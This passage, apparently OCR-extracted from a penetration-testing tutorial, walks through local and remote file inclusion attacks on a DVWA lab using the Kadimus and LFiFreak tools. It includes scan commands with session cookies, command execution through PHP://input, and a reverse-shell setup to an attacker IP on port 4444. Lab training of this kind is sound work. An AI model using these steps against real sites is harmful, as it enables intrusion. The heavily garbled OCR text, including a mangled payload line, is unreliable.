[ S A )




h)_LFI and RFI Exploitation using Kadimus tool:

1. Kadimus is a tool to check sites to Ifi vulnerability , and also exploit it
2. Installing Kadimus:
Installing libcurl:

# apt-get install libcurl4-openssl-dev

Installing libpcre:

# apt-get install libpcre3-dev
Installing libssh:

# apt-get install libssh-dev
‘And finally:

# git clone https://github.com/POcl4bs/Kadimus.git

#cd Kadimus
#make

3. The options:


https://github.com/P0cL4bs/Kadimus.git

4. We go to the page http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=filel.php and make BurpSuite Proxy intercept is on and try to execute

filel.php to get the request



Wi miicm
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-----------

e Scanning:

#./kadimus --url="http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?
page=" --cookie= " PHPSESSID=qouq69k452b11lor7qdpgi584r;
security=low" -A my_user_agent

Or,

#./kadimus -u "http://192.168.223.128/dvwa-
linux/vulnerabilities/fi/?page="-B "
PHPSESSID=qouq69k452b11lor7qdpgi584r; security=low " -A
my_user_agent

Note: The tool did not detect the vulnerability

4. Here examples of the usage of the tool


http://192.168.223.128/dvwa-linux/vulnerabilities/fi/?page=

Examples:

Scanning:

Execute php code:

Execute command:

Checking for RFI:

You can also check for RFI ereors, just put the remote url on resource ommon_filestat and the regex 1o identify this, example:
I g Mad-urlcom/shellta *f <?php acho basetd_decode{ c2NvenBpb24pc 2F5IGAMC BvdmWIGHemil="); 2=

in ﬁ.t.-:




h)_LFI and RFI Exploitation using LFiFreak tool:

1. LFiFreak is a unique tool for exploiting local file inclusions using PHP Input,
PHP Filter and Data URI methods.

2. Download LFiFreak from https://github.com/OsandaMalith/LFiFreak
# git clone https://github.com/OsandaMalith/LFiFreak.git
e Windows Binary:
http://www.mediafire.com/download/I07660857cqo9ur/LFl.exe
e Linux Binary:

http://www.mediafire.com/download/1m3a188637v3avo/Ifi

3. When installing in Kali Linux, install zbliglg and zbliglg-dev
# sudo apt install zliblg
# sudo apt install zliblg-dev
# sudo apt install lib64z1

4. In this tutorial | am using LFiFreak tool in windows. Run LFI file in
‘LFiFreak/Binaries/Windows’ folder

5. 1 am using the scan results for DVWA App installed in Windows on this
tutorial with the link address http://localhost/dvwa and the DVWA security

set to low.

We go to the page http://localhost/dvwa/vulnerabilities/fi/?page=filel.php
and make BurpSuit Proxy intercept is on and try to execute filel.php to get

the request


https://github.com/OsandaMalith/LFiFreak
http://www.mediafire.com/download/1m3a188637v3avo/lfi
http://localhost/dvwa
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6. Execute the file LFiFreak/Binaries/Windows/LFI

e Enter the URL:

http://localhost/dvwa/vulnerabilities/fi/?page=

e Enter the Cookie

Cookie: PHPSESSID=rrpns2pc42vamijm3n5kacu2bu; security=low

e Choose 1 for Automated testing

Enter the URL: h
*] Enter the
SESSID=rr

?] Choose an at ng method:
1. Automated tes
2. PHP input method
3. PHP filter method
Data URI method
it

2 dataURI

*] Enter a choice:

e Enter 1 for “PHP://input” exploit.
e Enter 1 to “Execute command” option.

rabilities/fi/?page=



e Execute the commands such as: ipconfig, dir.and any other
command

dir

\vulnerabilities\fi

7. Another example, execute the file LFiFreak/Binaries/Windows/LFI
e Enter the URL:

http://localhost/dvwa/vulnerabilities/fi/?page=

e Enter the Cookie
Cookie: PHPSESSID=rrpns2pc42vamijm3n5kacu2bu; security=low

e Choose 1 for Automated testing

e Enter 1 for “PHP://input” exploit.

e Enter 2 for “Reverse Shell” option. The program will request the
:LHOST IP and LPORT of the attacker computer to generate the
reverse shell. | setup my local host as the attacker computer with IP
address 192.168.223.128 and port 4444.

¢ |n the Attacker machine with IP address 19.168.223.128, listen to
port 4444 through the netcat command, the command terminal will

open:


http://localhost/dvwa/vulnerabilities/fi/?page=

8. Note: Reverse shell and Bind shell did not work with me and | could not
identify problem. LFiFreak is not good as FIMAP and it could not detect

many vulnerabilities in many cases and also it could not generate reverse

shell successfully in many cases.



17. REFERENCES:

1. https://portswigger.net/burp website.
2. Damn Vulnerable Web App (DVWA), https://github.com/digininja/DVWA

3. SQLMAP penetration testing tool that automates the process of detecting
and exploiting SQL injection flaws, https://sqlmap.org/

4. fimap tool for exploiting Remote/Local File Inclusion vulnerability

https://github.com/kurobeats/fimap
5. Commix OS command injection exploiter, https://commixproject.com.

6. Xsser. Cross Site Scripter to detect, exploit and report XSS vulnerabilities,

https://xsser.03c8.net/

7. LFiFreak is a unigue tool for exploiting local file inclusions,
https://github.com/OsandaMalith/LFiFreak


https://xsser.03c8.net/

	Penetration Testing of Computer Networks Using BurpSuite and Various Penetration Testing Tools
	1. Introduction:
	2. Installing and Configuring BurpSuite:
	a) Installing Community Edition of BurpSuite:
	b) Installing Professional Edition of BurpSuite:

	3. BurpSuite Intruder:
	4. Installing XMAPP and DVWA App in Windows System:
	5. Installing PHP, MySQL, Apache2, Python and DVWA App in Kali Linux :
	a) Installing PHP, MySQL and Apache2 in Kali Linux :
	b) Installing DVWA App in Kali Linux :
	c) Installing Python3 with Python2 in Kali Linux :
	d) Bringing up network on boot-up when NetworkManager is uninstalled?

	6. Scanning Kali-Linux and Windows Using Armitage:
	7. Understanding Netcat, Reverse Shells and Bind Shells:
	8. Adding Burps Certificate to Browser:
	9. Setting up Target Scope in BurpSuite:
	10. Scanning Using BurpSuite:
	a) Crawl and audit scan of a website:
	b) Live scan:
	c) Active and passive scan:
	d) Scanning http://localhost/dvwa/:

	11. Scan Results for SQL Injection Vulnerability with BurpSuite and Using SQLMAP to Exploit the SQL Injection:
	a) SQL injection definition:
	b) Manual exploitation of SQL injection without using any tools:
	c) Installing SQLMAP in Windows:
	d) Scan results for SQL injection vulnerability with BurpSuite and using SQLMAP to exploit the SQL injection:
	e) SQLiPy SQLMap integration:

	12. Scan Results for Operating System Command Injection Vulnerability with BurpSuite and Using Commix to Exploit the OS command Injection:
	a) OS command injection definition:
	b) Manual exploitation of OS command injection:
	c) Using the BurpSuite Intruder for OS command injection:
	d) Operating system command injection using Commix:

	13. Scan Results for Cross Side Scripting (XSS) Vulnerability with BurpSuite, Using XSSer to Exploit XSS Injection and Stealing Web Login Session Cookies through the XSS Injection:
	a) Cross Side Scripting (XSS)definitions:
	b) Manual exploitation of Cross Side Scripting XSS:
	c) Scan results for Cross Side Scripting (XSS) vulnerability with BurpSuite:
	d) Cross Side Scripting (XSS) using XSSer tool:

	14. Exploiting File Upload Vulnerability:
	a) File upload vulnerability definition:
	b) File upload using DVWA App installed in Kali-Linux:
	c) Reverse shell file upload:
	d) File upload using BurpSuite upload scanner:
	e) Generating shells using Weevly:
	f) Generating shells using Metasploit and exploiting DVWA in Kali-Linux machine:
	g) Installing Metasploit in Windows:

	15. Exploiting Cross Site Request Forgery (CSRF) Vulnerability:
	a) Cross Site Request Forgery (CSRF) definition:
	b) Example of Cross Site Request Forgery (CSRF) attack:

	16. Exploiting File Inclusion Vulnerability:
	a) File Inclusion Vulnerability definition:
	b) Manual exploitation of Local File Inclusion:
	c) LFI and RFI exploitation through BurpSuite :
	d) LFI and RFI Exploitation using Fimap tool:
	e) LFI and RFI Exploitation using LFISuite tool:
	f) LFI and RFI Exploitation using LfiScan tool:
	g) LFI and RFI Exploitation using Lfi-Scanner tool:
	h) LFI and RFI Exploitation using Kadimus tool:
	h) LFI and RFI Exploitation using LFiFreak tool:

	17. References:

